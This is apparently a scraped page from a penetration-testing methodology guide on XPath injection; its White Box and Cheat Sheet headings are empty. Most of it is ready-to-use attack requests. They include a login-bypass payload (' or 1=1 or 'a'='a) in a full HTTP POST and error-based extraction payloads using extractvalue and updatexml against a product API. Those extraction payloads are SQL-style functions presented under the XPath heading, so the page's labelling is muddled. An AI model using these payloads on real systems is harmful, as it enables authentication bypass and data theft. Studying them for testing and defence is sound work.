XPath Injection
Check List
Methodology
Black Box
Bypass Authentication via XPath Injection
1
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
UserName=testuser&Password=test2
3
4
[UserName/text()='" & Request("UserName") & "' And Password/text()='" & Request("Password") & "']5
6
test' or 1=1 or 'a'='aPOST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
UserName=test' or 1=1 or 'a'='a&Password=test7
[UserName/text()='test' or 1=1 or 'a'='a' And Password/text()='test']8
XPath Injection via product API
1
2
GET /api/product.php?parent_callid=[VALUE]&callid=[VALUE]&getcolumns=3
4
extractvalue(1,concat(0x7e,version()))5
GET /api/product.php?parent_callid=mobile&callid=123&getcolumns=extractvalue(1,concat(0x7e,version()))6
7
updatexml(1,concat(0x7e,database()),1)8
GET /api/product.php?parent_callid=mobile&callid=123&getcolumns=updatexml(1,concat(0x7e,database()),1)9
White Box
Cheat Sheet
Last updated